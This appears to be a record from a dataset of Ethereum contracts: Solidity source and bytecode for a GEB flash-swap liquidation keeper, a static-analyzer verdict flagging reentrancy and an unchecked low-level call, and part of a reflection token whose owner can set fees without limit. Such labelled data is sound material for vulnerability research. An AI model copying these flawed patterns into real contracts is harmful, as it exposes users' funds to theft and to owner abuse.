function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
abstract contract AuctionHouseLike {
function bids(uint256) virtual external view returns (uint, uint);
function buyCollateral(uint256 id, uint256 wad) external virtual;
function liquidationEngine() view public virtual returns (LiquidationEngineLike);
function collateralType() view public virtual returns (bytes32);
}
abstract contract SAFEEngineLike {
mapping (bytes32 => mapping (address => uint256)) public tokenCollateral; // [wad]
function canModifySAFE(address, address) virtual public view returns (uint);
function collateralTypes(bytes32) virtual public view returns (uint, uint, uint, uint, uint);
function coinBalance(address) virtual public view returns (uint);
function safes(bytes32, address) virtual public view returns (uint, uint);
function modifySAFECollateralization(bytes32, address, address, address, int, int) virtual public;
function approveSAFEModification(address) virtual public;
function transferInternalCoins(address, address, uint) virtual public;
}
abstract contract CollateralJoinLike {
function decimals() virtual public returns (uint);
function collateral() virtual public returns (CollateralLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract CoinJoinLike {
function safeEngine() virtual public returns (SAFEEngineLike);
function systemCoin() virtual public returns (CollateralLike);
function join(address, uint) virtual public payable;
function exit(address, uint) virtual public;
}
abstract contract CollateralLike {
function approve(address, uint) virtual public;
function transfer(address, uint) virtual public;
function transferFrom(address, address, uint) virtual public;
function deposit() virtual public payable;
function withdraw(uint) virtual public;
function balanceOf(address) virtual public view returns (uint);
}
abstract contract LiquidationEngineLike {
function chosenSAFESaviour(bytes32, address) virtual public view returns (address);
function safeSaviours(address) virtual public view returns (uint256);
function liquidateSAFE(bytes32 collateralType, address safe) virtual external returns (uint256 auctionId);
function safeEngine() view public virtual returns (SAFEEngineLike);
}
/// @title GEB Keeper Flash Proxy
/// @notice Trustless proxy that facilitates SAFE liquidation and bidding in auctions using Uniswap V2 flashswaps
/// @notice Single collateral version, only meant to work with ETH collateral types
contract GebUniswapV2KeeperFlashProxyETH {
AuctionHouseLike public auctionHouse;
SAFEEngineLike public safeEngine;
CollateralLike public weth;
CollateralLike public coin;
CoinJoinLike public coinJoin;
CoinJoinLike public ethJoin;
IUniswapV2Pair public uniswapPair;
LiquidationEngineLike public liquidationEngine;
address payable public caller;
bytes32 public collateralType;
uint256 public constant ZERO = 0;
uint256 public constant ONE = 1;
uint256 public constant THOUSAND = 1000;
uint256 public constant NET_OUT_AMOUNT = 997;
/// @notice Constructor
/// @param auctionHouseAddress Address of the auction house
/// @param wethAddress WETH address
/// @param systemCoinAddress System coin address
/// @param uniswapPairAddress Uniswap V2 pair address
/// @param coinJoinAddress CoinJoin address
/// @param ethJoinAddress ETHJoin address
constructor(
address auctionHouseAddress,
address wethAddress,
address systemCoinAddress,
address uniswapPairAddress,
address coinJoinAddress,
address ethJoinAddress
) public {
require(auctionHouseAddress != address(0), "GebUniswapV2KeeperFlashProxyETH/null-auction-house");
require(wethAddress != address(0), "GebUniswapV2KeeperFlashProxyETH/null-weth");
require(systemCoinAddress != address(0), "GebUniswapV2KeeperFlashProxyETH/null-system-coin");
require(uniswapPairAddress != address(0), "GebUniswapV2KeeperFlashProxyETH/null-uniswap-pair");
require(coinJoinAddress != address(0), "GebUniswapV2KeeperFlashProxyETH/null-coin-join");
require(ethJoinAddress != address(0), "GebUniswapV2KeeperFlashProxyETH/null-eth-join");
auctionHouse = AuctionHouseLike(auctionHouseAddress);
weth = CollateralLike(wethAddress);
coin = CollateralLike(systemCoinAddress);
uniswapPair = IUniswapV2Pair(uniswapPairAddress);
coinJoin = CoinJoinLike(coinJoinAddress);
ethJoin = CoinJoinLike(ethJoinAddress);
collateralType = auctionHouse.collateralType();
liquidationEngine = auctionHouse.liquidationEngine();
safeEngine = liquidationEngine.safeEngine();
safeEngine.approveSAFEModification(address(auctionHouse));
}
// --- Math ---
function addition(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "GebUniswapV2KeeperFlashProxyETH/add-overflow");
}
function subtract(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "GebUniswapV2KeeperFlashProxyETH/sub-underflow");
}
function multiply(uint x, uint y) internal pure returns (uint z) {
require(y == ZERO || (z = x * y) / y == x, "GebUniswapV2KeeperFlashProxyETH/mul-overflow");
}
function wad(uint rad) internal pure returns (uint) {
return rad / 10 ** 27;
}
// --- External Utils ---
/// @notice Bids in a single auction
/// @param auctionId Auction Id
/// @param amount Amount to bid
function bid(uint auctionId, uint amount) external {
require(msg.sender == address(this), "GebUniswapV2KeeperFlashProxyETH/only-self");
auctionHouse.buyCollateral(auctionId, amount);
}
/// @notice Bids in multiple auctions atomically
/// @param auctionIds Auction IDs
/// @param amounts Amounts to bid
function multipleBid(uint[] calldata auctionIds, uint[] calldata amounts) external {
require(msg.sender == address(this), "GebUniswapV2KeeperFlashProxyETH/only-self");
for (uint i = ZERO; i < auctionIds.length; i++) {
auctionHouse.buyCollateral(auctionIds[i], amounts[i]);
}
}
/// @notice Callback for/from Uniswap V2
/// @param _sender Requestor of the flashswap (must be this address)
/// @param _amount0 Amount of token0
/// @param _amount1 Amount of token1
/// @param _data Data sent back from Uniswap
function uniswapV2Call(address _sender, uint _amount0, uint _amount1, bytes calldata _data) external {
require(_sender == address(this), "GebUniswapV2KeeperFlashProxyETH/invalid-sender");
require(msg.sender == address(uniswapPair), "GebUniswapV2KeeperFlashProxyETH/invalid-uniswap-pair");
// join system coins
uint amount = (_amount0 == ZERO ? _amount1 : _amount0);
coin.approve(address(coinJoin), amount);
coinJoin.join(address(this), amount);
// bid
(bool success, ) = address(this).call(_data);
require(success, "GebUniswapV2KeeperFlashProxyETH/failed-bidding");
// exit WETH
ethJoin.exit(address(this), safeEngine.tokenCollateral(collateralType, address(this)));
// repay loan
uint pairBalanceTokenBorrow = coin.balanceOf(address(uniswapPair));
uint pairBalanceTokenPay = weth.balanceOf(address(uniswapPair));
uint amountToRepay = addition((
multiply(multiply(THOUSAND, pairBalanceTokenPay), amount) /
multiply(NET_OUT_AMOUNT, pairBalanceTokenBorrow)
), ONE);
require(amountToRepay <= weth.balanceOf(address(this)), "GebUniswapV2KeeperFlashProxyETH/unprofitable");
weth.transfer(address(uniswapPair), amountToRepay);
// send profit back
uint profit = weth.balanceOf(address(this));
weth.withdraw(profit);
caller.call{value: profit}("");
caller = address(0x0);
}
// --- Internal Utils ---
/// @notice Initiates a flashwap
/// @param amount Amount to borrow
/// @param data Callback data
function _startSwap(uint amount, bytes memory data) internal {
caller = msg.sender;
uint amount0Out = address(coin) == uniswapPair.token0() ? amount : ZERO;
uint amount1Out = address(coin) == uniswapPair.token1() ? amount : ZERO;
uniswapPair.swap(amount0Out, amount1Out, address(this), data);
}
/// @notice Returns all available opportunities from a provided auction list
/// @param auctionIds Auction IDs
/// @return ids IDs of active auctions
/// @return bidAmounts Rad amounts still requested by auctions
/// @return totalAmount Wad amount to be borrowed
function getOpenAuctionsBidSizes(uint[] memory auctionIds) internal returns (uint[] memory, uint[] memory, uint) {
uint amountToRaise;
uint totalAmount;
uint opportunityCount;
uint[] memory ids = new uint[](auctionIds.length);
uint[] memory bidAmounts = new uint[](auctionIds.length);
for (uint i = ZERO; i < auctionIds.length; i++) {
(, amountToRaise) = auctionHouse.bids(auctionIds[i]);
if (amountToRaise > ZERO) {
totalAmount = addition(totalAmount, addition(wad(amountToRaise), ONE));
ids[opportunityCount] = auctionIds[i];
bidAmounts[opportunityCount] = amountToRaise;
opportunityCount++;
}
}
assembly {
mstore(ids, opportunityCount)
mstore(bidAmounts, opportunityCount)
}
return(ids, bidAmounts, totalAmount);
}
// --- Core Bidding and Settling Logic ---
/// @notice Liquidates an underwater safe and settles the auction right away
/// @dev It will revert for protected SAFEs (those that have saviours). Protected SAFEs need to be liquidated through the LiquidationEngine
/// @param safe A SAFE's ID
/// @return auction The auction ID
function liquidateAndSettleSAFE(address safe) public returns (uint auction) {
if (liquidationEngine.safeSaviours(liquidationEngine.chosenSAFESaviour(collateralType, safe)) == ONE) {
require (liquidationEngine.chosenSAFESaviour(collateralType, safe) == address(0),
"GebUniswapV2KeeperFlashProxyETH/safe-is-protected");
}
auction = liquidationEngine.liquidateSAFE(collateralType, safe);
settleAuction(auction);
}
/// @notice Settle auction
/// @param auctionId ID of the auction to be settled
function settleAuction(uint auctionId) public {
(, uint amountToRaise) = auctionHouse.bids(auctionId);
require(amountToRaise > ZERO, "GebUniswapV2KeeperFlashProxyETH/auction-already-settled");
bytes memory callbackData = abi.encodeWithSelector(this.bid.selector, auctionId, amountToRaise);
_startSwap(addition(wad(amountToRaise), ONE), callbackData);
}
/// @notice Settle auctions
/// @param auctionIds IDs of the auctions to be settled
function settleAuction(uint[] memory auctionIds) public {
(uint[] memory ids, uint[] memory bidAmounts, uint totalAmount) = getOpenAuctionsBidSizes(auctionIds);
require(totalAmount > ZERO, "GebUniswapV2KeeperFlashProxyETH/all-auctions-already-settled");
bytes memory callbackData = abi.encodeWithSelector(this.multipleBid.selector, ids, bidAmounts);
_startSwap(totalAmount, callbackData);
}
// --- Fallback ---
receive() external payable {
require(msg.sender == address(weth), "GebUniswapV2KeeperFlashProxyETH/only-weth-withdrawals-allowed");
}
}
|
0x6080604052600436106101235760003560e01c8063719017c5116100a0578063c816841b11610064578063c816841b14610500578063e824600f14610515578063ed9152c81461052a578063f6d5af031461053f578063fc9c8d391461055457610173565b8063719017c5146103c3578063851cad90146103d857806393d45d57146103ed578063a43b6a8e14610420578063c2ee3a08146104eb57610173565b806344bf3c72116100e757806344bf3c721461029457806358fa63ca146102a9578063598647f8146102d05780636066297d1461030057806367aea313146103ae57610173565b806310d1e85c1461017857806311df99951461020f5780632e9936111461024057806330413a2a1461026a5780633fc8cef31461027f57610173565b36610173576002546001600160a01b031633146101715760405162461bcd60e51b815260040180806020018281038252603d815260200180611904603d913960400191505060405180910390fd5b005b600080fd5b34801561018457600080fd5b506101716004803603608081101561019b57600080fd5b6001600160a01b038235169160208101359160408201359190810190608081016060820135600160201b8111156101d157600080fd5b8201836020820111156101e357600080fd5b803590602001918460018302840111600160201b8311171561020457600080fd5b509092509050610569565b34801561021b57600080fd5b50610224610c38565b604080516001600160a01b039092168252519081900360200190f35b34801561024c57600080fd5b506101716004803603602081101561026357600080fd5b5035610c47565b34801561027657600080fd5b50610224610d5e565b34801561028b57600080fd5b50610224610d6d565b3480156102a057600080fd5b50610224610d7c565b3480156102b557600080fd5b506102be610d8b565b60408051918252519081900360200190f35b3480156102dc57600080fd5b50610171600480360360408110156102f357600080fd5b5080359060200135610d90565b34801561030c57600080fd5b506101716004803603602081101561032357600080fd5b810190602081018135600160201b81111561033d57600080fd5b82018360208201111561034f57600080fd5b803590602001918460208302840111600160201b8311171561037057600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e39945050505050565b3480156103ba57600080fd5b50610224610f71565b3480156103cf57600080fd5b50610224610f80565b3480156103e457600080fd5b506102be610f8f565b3480156103f957600080fd5b506102be6004803603602081101561041057600080fd5b50356001600160a01b0316610f95565b34801561042c57600080fd5b506101716004803603604081101561044357600080fd5b810190602081018135600160201b81111561045d57600080fd5b82018360208201111561046f57600080fd5b803590602001918460208302840111600160201b8311171561049057600080fd5b919390929091602081019035600160201b8111156104ad57600080fd5b8201836020820111156104bf57600080fd5b803590602001918460208302840111600160201b831117156104e057600080fd5b5090925090506111fc565b3480156104f757600080fd5b506102be6112dd565b34801561050c57600080fd5b506102246112e2565b34801561052157600080fd5b506102be6112f1565b34801561053657600080fd5b506102246112f7565b34801561054b57600080fd5b506102be611306565b34801561056057600080fd5b5061022461130c565b6001600160a01b03851630146105b05760405162461bcd60e51b815260040180806020018281038252602e815260200180611866602e913960400191505060405180910390fd5b6006546001600160a01b031633146105f95760405162461bcd60e51b81526004018080602001828103825260348152602001806118946034913960400191505060405180910390fd5b600084156106075784610609565b835b600354600480546040805163095ea7b360e01b81526001600160a01b039283169381019390935260248301859052519394509091169163095ea7b39160448082019260009290919082900301818387803b15801561066657600080fd5b505af115801561067a573d6000803e3d6000fd5b50506004805460408051633b4da69f60e01b8152309381019390935260248301869052516001600160a01b039091169350633b4da69f9250604480830192600092919082900301818387803b1580156106d257600080fd5b505af11580156106e6573d6000803e3d6000fd5b505050506000306001600160a01b03168484604051808383808284376040519201945060009350909150508083038183865af19150503d8060008114610748576040519150601f19603f3d011682016040523d82523d6000602084013e61074d565b606091505b505090508061078d5760405162461bcd60e51b815260040180806020018281038252602e815260200180611999602e913960400191505060405180910390fd5b60055460015460095460408051633b705a6560e11b81526004810192909252306024830181905290516001600160a01b039485169463ef693bed9492939216916376e0b4ca916044808301926020929190829003018186803b1580156107f257600080fd5b505afa158015610806573d6000803e3d6000fd5b505050506040513d602081101561081c57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039093166004840152602483019190915251604480830192600092919082900301818387803b15801561086c57600080fd5b505af1158015610880573d6000803e3d6000fd5b5050600354600654604080516370a0823160e01b81526001600160a01b0392831660048201529051600095509190921692506370a0823191602480820192602092909190829003018186803b1580156108d857600080fd5b505afa1580156108ec573d6000803e3d6000fd5b505050506040513d602081101561090257600080fd5b5051600254600654604080516370a0823160e01b81526001600160a01b039283166004820152905193945060009391909216916370a08231916024808301926020929190829003018186803b15801561095a57600080fd5b505afa15801561096e573d6000803e3d6000fd5b505050506040513d602081101561098457600080fd5b5051905060006109bd6109996103e58561131b565b6109ae6109a86103e88661131b565b8861131b565b816109b557fe5b046001611377565b600254604080516370a0823160e01b815230600482015290519293506001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610a0b57600080fd5b505afa158015610a1f573d6000803e3d6000fd5b505050506040513d6020811015610a3557600080fd5b5051811115610a755760405162461bcd60e51b815260040180806020018281038252602c81526020018061196d602c913960400191505060405180910390fd5b6002546006546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018590529051919092169163a9059cbb91604480830192600092919082900301818387803b158015610acd57600080fd5b505af1158015610ae1573d6000803e3d6000fd5b5050600254604080516370a0823160e01b81523060048201529051600094506001600160a01b0390921692506370a08231916024808301926020929190829003018186803b158015610b3257600080fd5b505afa158015610b46573d6000803e3d6000fd5b505050506040513d6020811015610b5c57600080fd5b505160025460408051632e1a7d4d60e01b81526004810184905290519293506001600160a01b0390911691632e1a7d4d9160248082019260009290919082900301818387803b158015610bae57600080fd5b505af1158015610bc2573d6000803e3d6000fd5b50506008546040516001600160a01b039091169250839150600081818185875af1925050503d8060008114610c13576040519150601f19603f3d011682016040523d82523d6000602084013e610c18565b606091505b5050600880546001600160a01b0319169055505050505050505050505050565b6003546001600160a01b031681565b6000805460408051634423c5f160e01b81526004810185905281516001600160a01b0390931692634423c5f192602480840193919291829003018186803b158015610c9157600080fd5b505afa158015610ca5573d6000803e3d6000fd5b505050506040513d6040811015610cbb57600080fd5b5060200151905080610cfe5760405162461bcd60e51b81526004018080602001828103825260378152602001806117d56037913960400191505060405180910390fd5b604080516024810184905260448082018490528251808303909101815260649091019091526020810180516001600160e01b0316630b30c8ff60e31b179052610d59610d53610d4c846113b9565b6001611377565b826113cb565b505050565b6004546001600160a01b031681565b6002546001600160a01b031681565b6007546001600160a01b031681565b600081565b333014610dce5760405162461bcd60e51b815260040180806020018281038252602981526020018061183d6029913960400191505060405180910390fd5b60008054604080516354ece2d360e01b8152600481018690526024810185905290516001600160a01b03909216926354ece2d39260448084019382900301818387803b158015610e1d57600080fd5b505af1158015610e31573d6000803e3d6000fd5b505050505050565b6060806000610e47846115f2565b92509250925060008111610e8c5760405162461bcd60e51b815260040180806020018281038252603c8152602001806118c8603c913960400191505060405180910390fd5b606063a43b6a8e60e01b8484604051602401808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610edf578181015183820152602001610ec7565b50505050905001838103825284818151815260200191508051906020019060200280838360005b83811015610f1e578181015183820152602001610f06565b50505050905001945050505050604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b0383818316178352505050509050610f6a82826113cb565b5050505050565b6001546001600160a01b031681565b6005546001600160a01b031681565b6103e881565b60075460095460408051630b082bf160e21b815260048101929092526001600160a01b0384811660248401529051600093600193921691635626da24918391632c20afc4916044808301926020929190829003018186803b158015610ff957600080fd5b505afa15801561100d573d6000803e3d6000fd5b505050506040513d602081101561102357600080fd5b5051604080516001600160e01b031960e085901b1681526001600160a01b039092166004830152516024808301926020929190829003018186803b15801561106a57600080fd5b505afa15801561107e573d6000803e3d6000fd5b505050506040513d602081101561109457600080fd5b505114156111675760075460095460408051630b082bf160e21b815260048101929092526001600160a01b038581166024840152905160009390911691632c20afc4916044808301926020929190829003018186803b1580156110f657600080fd5b505afa15801561110a573d6000803e3d6000fd5b505050506040513d602081101561112057600080fd5b50516001600160a01b0316146111675760405162461bcd60e51b815260040180806020018281038252603181526020018061180c6031913960400191505060405180910390fd5b60075460095460408051634c28be5760e01b815260048101929092526001600160a01b0385811660248401529051921691634c28be57916044808201926020929091908290030181600087803b1580156111c057600080fd5b505af11580156111d4573d6000803e3d6000fd5b505050506040513d60208110156111ea57600080fd5b505190506111f781610c47565b919050565b33301461123a5760405162461bcd60e51b815260040180806020018281038252602981526020018061183d6029913960400191505060405180910390fd5b60005b83811015610f6a576000546001600160a01b03166354ece2d386868481811061126257fe5b9050602002013585858581811061127557fe5b905060200201356040518363ffffffff1660e01b81526004018083815260200182815260200192505050600060405180830381600087803b1580156112b957600080fd5b505af11580156112cd573d6000803e3d6000fd5b50506001909201915061123d9050565b600181565b6006546001600160a01b031681565b60095481565b6000546001600160a01b031681565b6103e581565b6008546001600160a01b031681565b60008115806113365750508082028282828161133357fe5b04145b6113715760405162461bcd60e51b815260040180806020018281038252602c8152602001806117a9602c913960400191505060405180910390fd5b92915050565b808201828110156113715760405162461bcd60e51b815260040180806020018281038252602c815260200180611941602c913960400191505060405180910390fd5b6b033b2e3c9fd0803ce8000000900490565b600880546001600160a01b0319163317905560065460408051630dfe168160e01b815290516000926001600160a01b031691630dfe1681916004808301926020929190829003018186803b15801561142257600080fd5b505afa158015611436573d6000803e3d6000fd5b505050506040513d602081101561144c57600080fd5b50516003546001600160a01b0390811691161461146a57600061146c565b825b90506000600660009054906101000a90046001600160a01b03166001600160a01b031663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b1580156114be57600080fd5b505afa1580156114d2573d6000803e3d6000fd5b505050506040513d60208110156114e857600080fd5b50516003546001600160a01b03908116911614611506576000611508565b835b60065460405163022c0d9f60e01b8152600481018581526024820184905230604483018190526080606484019081528851608485015288519596506001600160a01b039094169463022c0d9f94889488948b9390929160a40190602085019080838360005b8381101561158557818101518382015260200161156d565b50505050905090810190601f1680156115b25780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115d457600080fd5b505af11580156115e8573d6000803e3d6000fd5b5050505050505050565b6060806000806000806060875167ffffffffffffffff8111801561161557600080fd5b5060405190808252806020026020018201604052801561163f578160200160208202803683370190505b5090506060885167ffffffffffffffff8111801561165c57600080fd5b50604051908082528060200260200182016040528015611686578160200160208202803683370190505b50905060005b8951811015611794576000548a516001600160a01b0390911690634423c5f1908c90849081106116b857fe5b60200260200101516040518263ffffffff1660e01b815260040180828152602001915050604080518083038186803b1580156116f357600080fd5b505afa158015611707573d6000803e3d6000fd5b505050506040513d604081101561171d57600080fd5b50602001519550851561178c5761173f8561173a610d4c896113b9565b611377565b945089818151811061174d57fe5b602002602001015183858151811061176157fe5b6020026020010181815250508582858151811061177a57fe5b60209081029190910101526001909301925b60010161168c565b50828252918252979096509094509250505056fe476562556e697377617056324b6565706572466c61736850726f78794554482f6d756c2d6f766572666c6f77476562556e697377617056324b6565706572466c61736850726f78794554482f61756374696f6e2d616c72656164792d736574746c6564476562556e697377617056324b6565706572466c61736850726f78794554482f736166652d69732d70726f746563746564476562556e697377617056324b6565706572466c61736850726f78794554482f6f6e6c792d73656c66476562556e697377617056324b6565706572466c61736850726f78794554482f696e76616c69642d73656e646572476562556e697377617056324b6565706572466c61736850726f78794554482f696e76616c69642d756e69737761702d70616972476562556e697377617056324b6565706572466c61736850726f78794554482f616c6c2d61756374696f6e732d616c72656164792d736574746c6564476562556e697377617056324b6565706572466c61736850726f78794554482f6f6e6c792d776574682d7769746864726177616c732d616c6c6f776564476562556e697377617056324b6565706572466c61736850726f78794554482f6164642d6f766572666c6f77476562556e697377617056324b6565706572466c61736850726f78794554482f756e70726f66697461626c65476562556e697377617056324b6565706572466c61736850726f78794554482f6661696c65642d62696464696e67a2646970667358221220df834f07a585089b001d0f6f9cf291a259a33971d08988b1f25b975a798bcb0464736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 6,351 |
0x301b38b264917a7e9eb37A34309b5eAC29264913
|
/**
*Submitted for verification at Etherscan.io on 2021-07-16
*/
//Choki.Finance - @ChokiFinance
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function transferOwner(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) public _rOwned;
mapping (address => uint256) public _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public constant MAX = ~uint256(0);
uint256 public _tTotal = 1000000000 * (10 ** 18);
uint256 public _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Choki Finance";
string private _symbol = "CHOKI";
uint8 private _decimals = 18;
uint256 private _taxFee = 5;
uint256 private _burnFee = 5;
uint256 private _devFee = 5;
address private _devAccount = 0x99a8993dF9939BcC0fb3AdEA6C8E1C5b27D09447;
uint256 private deployment;
constructor () {
_rOwned[_msgSender()] = _rTotal;
deployment = block.timestamp;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setBurnFeePercent(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setDevFeePercent(uint256 devFee) external onlyOwner() {
_devFee = devFee;
}
function setDevAccount(address _account) external onlyOwner() {
_devAccount = _account;
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tDev) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn, tDev);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tBurn = calculateBurnFee(tAmount);
uint256 tDev = calculateDevFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn).sub(tDev);
return (tTransferAmount, tFee, tBurn, tDev);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateBurnFee(uint256 _amount) private view returns (uint256) {
